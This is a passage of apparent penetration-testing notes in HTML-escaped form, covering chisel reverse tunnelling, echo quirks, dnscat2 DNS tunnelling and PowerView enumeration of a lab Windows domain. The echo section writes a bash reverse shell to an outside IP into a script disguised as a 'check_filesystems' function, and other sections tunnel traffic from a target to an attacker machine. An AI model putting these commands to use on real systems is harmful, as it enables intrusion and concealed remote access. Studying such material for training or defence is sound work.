class="line"&gt;&lt;span class="cl"&gt;# Client&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;./chisel client ATTACKER_IP:8000 R:8001:TARGET_IP:TARGET_PORT&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SOCKS proxy&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Server&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;./chisel server --reverse -p 8000&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Client&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;./chisel client ATTACKER_IP:8000 R:socks&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="86a-few-things-about-echo"&gt;&lt;a href="#86a-few-things-about-echo" class="header-anchor"&gt;&lt;/a&gt;86.A Few Things About echo&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Using double quotes with echo prevents #!/bin/bash from being written correctly&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Single quotes work correctly&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#39;#!/bin/bash&amp;#39; &amp;gt; 1.sh&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34;#!/bin/bash\n&amp;#34; &amp;gt; __fs.sh&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Add -e when escape-sequence interpretation is required&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#39;#!/bin/bash&amp;#39; &amp;gt; __fs.sh&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo -e &amp;#34;check_filesystems() {\nbash -c &amp;#39;exec bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.45.184/80 &amp;lt;&amp;amp;1&amp;#39;\n}&amp;#34; &amp;gt; __fs.sh&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#39;#!/bin/bash&amp;#39; &amp;gt; 1.sh&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo -e &amp;#34;check_filesystems() {\n\tbash -c &amp;#39;exec bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.45.184/80 &amp;lt;&amp;amp;1&amp;#39;\n}&amp;#34; &amp;gt;&amp;gt; 1.sh&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="87dnscat-dns-tunnel"&gt;&lt;a href="#87dnscat-dns-tunnel" class="header-anchor"&gt;&lt;/a&gt;87.dnscat (DNS Tunnel)&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Step 1: On the Kali attacker machine&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Start the dnscat2 server&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dnscat2-server feline.corp # feline.corp is a user-defined domain and can be named freely&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Step 2: On the target machine&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Upload dnscat_exercise_client to the target machine&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Run the client and connect to the server&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;./dnscat_exercise_client feline.corp # Use the same domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# The command above suits public networks; on internal networks, point DNS to the Kali machine&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# On the target machine:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Use --dns to specify the server IP and port&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;./dnscat --dns server=&amp;lt;KALI_IP&amp;gt;,port=53&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Or use a more complete command:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;./dnscat --dns server=&amp;lt;KALI_IP&amp;gt;,port=53 --secret=&amp;lt;SECRET_VALUE&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Step 3: Operate from the dnscat2 server on Kali&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# View connection status&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dnscat2&amp;gt; windows&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Switch to the session&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dnscat2&amp;gt; window -i 1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Configure port forwarding&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;command (TARGET_HOSTNAME) 1&amp;gt; listen 0.0.0.0:4455 192.168.176.7:445&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="88detailed-enumeration-inside-a-windows-domain"&gt;&lt;a href="#88detailed-enumeration-inside-a-windows-domain" class="header-anchor"&gt;&lt;/a&gt;88.Detailed Enumeration Inside a Windows Domain&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;span class="lnt"&gt;36&#10;&lt;/span&gt;&lt;span class="lnt"&gt;37&#10;&lt;/span&gt;&lt;span class="lnt"&gt;38&#10;&lt;/span&gt;&lt;span class="lnt"&gt;39&#10;&lt;/span&gt;&lt;span class="lnt"&gt;40&#10;&lt;/span&gt;&lt;span class="lnt"&gt;41&#10;&lt;/span&gt;&lt;span class="lnt"&gt;42&#10;&lt;/span&gt;&lt;span class="lnt"&gt;43&#10;&lt;/span&gt;&lt;span class="lnt"&gt;44&#10;&lt;/span&gt;&lt;span class="lnt"&gt;45&#10;&lt;/span&gt;&lt;span class="lnt"&gt;46&#10;&lt;/span&gt;&lt;span class="lnt"&gt;47&#10;&lt;/span&gt;&lt;span class="lnt"&gt;48&#10;&lt;/span&gt;&lt;span class="lnt"&gt;49&#10;&lt;/span&gt;&lt;span class="lnt"&gt;50&#10;&lt;/span&gt;&lt;span class="lnt"&gt;51&#10;&lt;/span&gt;&lt;span class="lnt"&gt;52&#10;&lt;/span&gt;&lt;span class="lnt"&gt;53&#10;&lt;/span&gt;&lt;span class="lnt"&gt;54&#10;&lt;/span&gt;&lt;span class="lnt"&gt;55&#10;&lt;/span&gt;&lt;span class="lnt"&gt;56&#10;&lt;/span&gt;&lt;span class="lnt"&gt;57&#10;&lt;/span&gt;&lt;span class="lnt"&gt;58&#10;&lt;/span&gt;&lt;span class="lnt"&gt;59&#10;&lt;/span&gt;&lt;span class="lnt"&gt;60&#10;&lt;/span&gt;&lt;span class="lnt"&gt;61&#10;&lt;/span&gt;&lt;span class="lnt"&gt;62&#10;&lt;/span&gt;&lt;span class="lnt"&gt;63&#10;&lt;/span&gt;&lt;span class="lnt"&gt;64&#10;&lt;/span&gt;&lt;span class="lnt"&gt;65&#10;&lt;/span&gt;&lt;span class="lnt"&gt;66&#10;&lt;/span&gt;&lt;span class="lnt"&gt;67&#10;&lt;/span&gt;&lt;span class="lnt"&gt;68&#10;&lt;/span&gt;&lt;span class="lnt"&gt;69&#10;&lt;/span&gt;&lt;span class="lnt"&gt;70&#10;&lt;/span&gt;&lt;span class="lnt"&gt;71&#10;&lt;/span&gt;&lt;span class="lnt"&gt;72&#10;&lt;/span&gt;&lt;span class="lnt"&gt;73&#10;&lt;/span&gt;&lt;span class="lnt"&gt;74&#10;&lt;/span&gt;&lt;span class="lnt"&gt;75&#10;&lt;/span&gt;&lt;span class="lnt"&gt;76&#10;&lt;/span&gt;&lt;span class="lnt"&gt;77&#10;&lt;/span&gt;&lt;span class="lnt"&gt;78&#10;&lt;/span&gt;&lt;span class="lnt"&gt;79&#10;&lt;/span&gt;&lt;span class="lnt"&gt;80&#10;&lt;/span&gt;&lt;span class="lnt"&gt;81&#10;&lt;/span&gt;&lt;span class="lnt"&gt;82&#10;&lt;/span&gt;&lt;span class="lnt"&gt;83&#10;&lt;/span&gt;&lt;span class="lnt"&gt;84&#10;&lt;/span&gt;&lt;span class="lnt"&gt;85&#10;&lt;/span&gt;&lt;span class="lnt"&gt;86&#10;&lt;/span&gt;&lt;span class="lnt"&gt;87&#10;&lt;/span&gt;&lt;span class="lnt"&gt;88&#10;&lt;/span&gt;&lt;span class="lnt"&gt;89&#10;&lt;/span&gt;&lt;span class="lnt"&gt;90&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Local LDAP search&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PowerView&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Tutorial: https://powersploit.readthedocs.io/en/latest/Recon/&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Import&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Import-Module .\PowerView.ps1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Basic domain information&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Tools&amp;gt; Get-NetDomain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Forest : corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;DomainControllers : {DC1.corp.com}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Children : {}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;DomainMode : Unknown&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;DomainModeLevel : 7&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Parent :&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PdcRoleOwner : DC1.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;RidRoleOwner : DC1.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;InfrastructureRoleOwner : DC1.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Name : corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Get-NetUser retrieves a list of all users in the domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Tools&amp;gt; Get-NetUser&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;logoncount : 113&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;iscriticalsystemobject : True&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;description : Built-in account for administering the computer/domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;distinguishedname : CN=Administrator,CN=Users,DC=corp,DC=com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;objectclass : {top, person, organizationalPerson, user}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lastlogontimestamp : 9/13/2022 1:03:47 AM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;name : Administrator&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;objectsid : S-1-5-21-1987370270-658905905-1781884369-500&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;samaccountname : Administrator&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;admincount : 1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;codepage : 0&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;samaccounttype : USER_OBJECT&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;accountexpires : NEVER&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cn : Administrator&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;whenchanged : 9/13/2022 8:03:47 AM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;instancetype : 4&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;usncreated : 8196&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;objectguid : e5591000-080d-44c4-89c8-b06574a14d85&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lastlogoff : 12/31/1600 4:00:00 PM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;objectcategory : CN=Person,CN=Schema,CN=Configuration,DC=corp,DC=com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dscorepropagationdata : {9/2/2022 11:25:58 PM, 9/2/2022 11:25:58 PM, 9/2/2022 11:10:49 PM, 1/1/1601 6:12:16 PM}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;memberof : {CN=Group Policy Creator Owners,CN=Users,DC=corp,DC=com, CN=Domain Admins,CN=Users,DC=corp,DC=com, CN=Enterprise&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Admins,CN=Users,DC=corp,DC=com, CN=Schema Admins,CN=Users,DC=corp,DC=com...}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;lastlogon : 9/14/2022 2:37:15 AM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;...&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# The output shows that cn stores usernames; pipe the output to select and choose cn&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Tools&amp;gt; Get-NetUser | select cn&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cn&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;--&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Administrator&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Guest&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;krbtgt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dave&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;stephanie&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;jeff&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;jeffadmin&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;iis_service&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;pete&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;jen&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Retrieve other attributes&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-NetUser | select cn,pwdlastset,lastlogon&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Similarly, use Get-NetGroup to enumerate groups&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Tools&amp;gt; Get-NetGroup | select cn&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cn&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;--&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;...&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Key Admins&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Enterprise Key Admins&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;DnsAdmins&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;DnsUpdateProxy&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Sales Department&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Management Department&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Development Department&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Debug&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Use Get-NetGroup to inspect the Sales Department and pipe the output to select member&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Tools&amp;gt; Get-NetGroup &amp;#34;Sales Department&amp;#34; | select member&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;member&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;------&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{CN=Development Department,DC=corp,DC=com, CN=pete,CN=Users,DC=corp,DC=com, CN=stephanie,CN=Users,DC=corp,DC=com}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span 